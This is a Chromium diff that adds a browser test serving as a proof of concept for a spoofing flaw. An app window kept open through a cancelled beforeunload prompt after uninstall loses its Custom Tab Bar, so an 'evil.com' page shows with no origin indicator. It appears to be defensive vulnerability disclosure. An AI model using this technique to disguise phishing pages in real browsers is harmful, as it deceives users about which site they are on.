diff --git a/chrome/browser/ui/web_applications/BUILD.gn b/chrome/browser/ui/web_applications/BUILD.gn index ca6dcaf47d222..ec8d375c87cb8 100644 --- a/chrome/browser/ui/web_applications/BUILD.gn +++ b/chrome/browser/ui/web_applications/BUILD.gn @@ -296,6 +296,7 @@ source_set("browser_tests") { "//chrome/test:test_support", "//chrome/test:test_support_ui", "//components/embedder_support", + "//components/javascript_dialogs", "//components/metrics/structured:structured_events", "//components/metrics/structured:test_support", "//components/page_load_metrics/browser:test_support", diff --git a/chrome/browser/ui/web_applications/web_app_uninstall_browsertest.cc b/chrome/browser/ui/web_applications/web_app_uninstall_browsertest.cc index 0bf1479b7e6e1..2358c8de95810 100644 --- a/chrome/browser/ui/web_applications/web_app_uninstall_browsertest.cc +++ b/chrome/browser/ui/web_applications/web_app_uninstall_browsertest.cc @@ -13,6 +13,7 @@ #include "chrome/browser/ui/browser_window/public/browser_window_interface.h" #include "chrome/browser/ui/browser_window/public/global_browser_collection.h" #include "chrome/browser/ui/tabs/tab_strip_model.h" +#include "chrome/browser/ui/web_applications/app_browser_controller.h" #include "chrome/browser/ui/web_applications/test/web_app_browsertest_util.h" #include "chrome/browser/ui/web_applications/web_app_browsertest_base.h" #include "chrome/browser/web_applications/test/web_app_test_observers.h" @@ -23,6 +24,8 @@ #include "chrome/browser/web_applications/web_app_provider.h" #include "chrome/browser/web_applications/web_app_registrar.h" #include "chrome/test/base/ui_test_utils.h" +#include "components/javascript_dialogs/app_modal_dialog_controller.h" +#include "components/javascript_dialogs/app_modal_dialog_view.h" #include "components/services/app_service/public/cpp/app_launch_params.h" #include "components/services/app_service/public/cpp/app_launch_util.h" #include "components/sessions/core/tab_restore_service.h" @@ -206,4 +209,129 @@ IN_PROC_BROWSER_TEST_F(WebAppUninstallBrowserTest, TwoUninstallCalls) { provider->registrar_unsafe().GetInstallState(app_id).has_value()); } +// ----------------------------------------------------------------------------- +// POC: Custom Tab Bar fail-open after beforeunload-survived uninstall. +// +// AppBrowserController::ShouldShowCustomTabBar() begins with +// `if (!IsInstalled()) return false;`. IsInstalled() is a live registrar +// query, so once the app is removed from the registrar this method always +// returns false -- the unsafe default for the only persistent origin +// indicator in an omnibox-less TYPE_APP window. +// +// WebAppBrowserController::OnWebAppUninstalled() calls chrome::CloseWindow() +// which honours the page's beforeunload handler. If the user clicks "Stay" +// on the generic "Leave site?" prompt, the TYPE_APP window remains open +// indefinitely with the app fully deleted from the registrar. +// +// This test reproduces that state and verifies that out-of-scope navigation +// no longer surfaces the Custom Tab Bar -- i.e. arbitrary cross-origin +// content renders in a chromeless app window with no browser-supplied origin +// indicator. +// ----------------------------------------------------------------------------- +IN_PROC_BROWSER_TEST_F(WebAppUninstallBrowserTest, + CustomTabBarFailOpenAfterBeforeUnloadCancelsUninstall) { + // 1. Install a PWA and launch it in a standalone TYPE_APP window. + const GURL app_url = GetSecureAppURL(); + const webapps::AppId app_id = InstallPWA(app_url); + Browser* const app_browser = LaunchWebAppBrowserAndWait(app_id); + ASSERT_TRUE(app_browser->is_type_app()); + ASSERT_TRUE(IsBrowserOpen(app_browser)); + + AppBrowserController* controller = app_browser->app_controller(); + ASSERT_TRUE(controller); + + // Baseline: while installed, the in-scope app URL does NOT show the CCT bar. + EXPECT_TRUE(controller->IsInstalled()); + EXPECT_FALSE(controller->ShouldShowCustomTabBar()); + + // Baseline: while installed, an out-of-scope cross-origin URL DOES show + // the CCT bar (this is the security indicator working as intended). + const GURL out_of_scope_url = + embedded_https_test_server().GetURL("evil.com", "/ssl/blank_page.html"); + content::WebContents* web_contents = + app_browser->tab_strip_model()->GetActiveWebContents(); + ASSERT_TRUE(ui_test_utils::NavigateToURL(app_browser, out_of_scope_url)); + EXPECT_TRUE(controller->ShouldShowCustomTabBar()) + << "PRECONDITION FAILED: out-of-scope URL must show the Custom Tab Bar " + "while the app is installed."; + + // Navigate back to the app URL and arm a beforeunload handler. + ASSERT_TRUE(ui_test_utils::NavigateToURL(app_browser, app_url)); + ASSERT_TRUE(content::ExecJs( + web_contents, + "window.onbeforeunload = e => { e.preventDefault(); " + "e.returnValue = ''; return 'x'; };")); + content::PrepContentsForBeforeUnloadTest(web_contents); + + // 2. Uninstall the app. RemoveWebAppJob deletes the app from the registrar, + // fires OnWebAppUninstalled, which calls chrome::CloseWindow() on + // |app_browser|. CloseWindow goes through Browser::HandleBeforeClose and + // therefore triggers the beforeunload dialog. + WebAppProvider* const provider = WebAppProvider::GetForTest(profile()); + base::test::TestFuture uninstall_future; + provider->scheduler().RemoveUserUninstallableManagements( + app_id, webapps::WebappUninstallSource::kAppMenu, + uninstall_future.GetCallback()); + + // 3. The user clicks "Stay" on the "Leave site?" prompt. + javascript_dialogs::AppModalDialogController* dialog = + ui_test_utils::WaitForAppModalDialog(); + ASSERT_TRUE(dialog); + dialog->view()->CancelAppModalDialog(); + + ASSERT_TRUE(uninstall_future.Wait()); + EXPECT_EQ(uninstall_future.Get(), webapps::UninstallResultCode::kAppRemoved); + base::RunLoop().RunUntilIdle(); + + // 4. The TYPE_APP window has survived its registrar entry. + ASSERT_TRUE(IsBrowserOpen(app_browser)) + << "App window was closed despite cancelling beforeunload; " + "vulnerability precondition not met."; + EXPECT_FALSE(provider->registrar_unsafe().GetInstallState(app_id).has_value()); + EXPECT_FALSE(controller->IsInstalled()); + + // 5. Disarm beforeunload and navigate to an arbitrary out-of-scope origin + // (simulating an attacker swapping in phishing content). + ASSERT_TRUE(content::ExecJs(web_contents, "window.onbeforeunload = null;")); + ASSERT_TRUE(ui_test_utils::NavigateToURL(app_browser, out_of_scope_url)); + EXPECT_EQ(web_contents->GetLastCommittedURL(), out_of_scope_url); + + // 6. THE BUG: ShouldShowCustomTabBar() now hits `if (!IsInstalled()) return + // false;` and suppresses the only persistent origin indicator. The + // chromeless app window renders evil.com with no omnibox, no CCT bar, + // no origin flash, and a renderer-controlled OS title bar. + const bool shows_cct_after_uninstall = controller->ShouldShowCustomTabBar(); + LOG(ERROR) << "================================================"; + LOG(ERROR) << "POC RESULT: TYPE_APP window survived uninstall via " + "beforeunload 'Stay'."; + LOG(ERROR) << " IsInstalled() = " + << (controller->IsInstalled() ? "true" : "false"); + LOG(ERROR) << " Out-of-scope URL = " << out_of_scope_url; + LOG(ERROR) << " ShouldShowCustomTabBar() = " + << (shows_cct_after_uninstall ? "true" : "false"); + LOG(ERROR) << " GetFormattedUrlOrigin() = '" + << controller->GetFormattedUrlOrigin() << "'"; + LOG(ERROR) << " GetTitle() = '" << controller->GetTitle() + << "'"; + LOG(ERROR) << "================================================"; + + // A correct (fail-safe) implementation would return true here and surface + // the origin to the user. The vulnerable implementation returns false. + EXPECT_TRUE(shows_cct_after_uninstall) + << "VULNERABILITY CONFIRMED: ShouldShowCustomTabBar() returned false " + "for an out-of-scope navigation in a TYPE_APP window whose app has " + "been uninstalled. The window has no omnibox and now no Custom Tab " + "Bar -- arbitrary content renders with zero browser-supplied origin " + "attribution (PWA-window address-bar-spoof equivalent)."; + + // Secondary fail-open: the origin 'flash' text is empty because + // GetAppStartUrl() returns the empty GURL for a deleted app. + EXPECT_FALSE(controller->GetFormattedUrlOrigin().empty()) + << "Secondary indicator also failed open: GetFormattedUrlOrigin() is " + "empty (no origin flash)."; + + // Clean up: actually close the surviving window. + app_browser->window()->Close(); +} + } // namespace web_app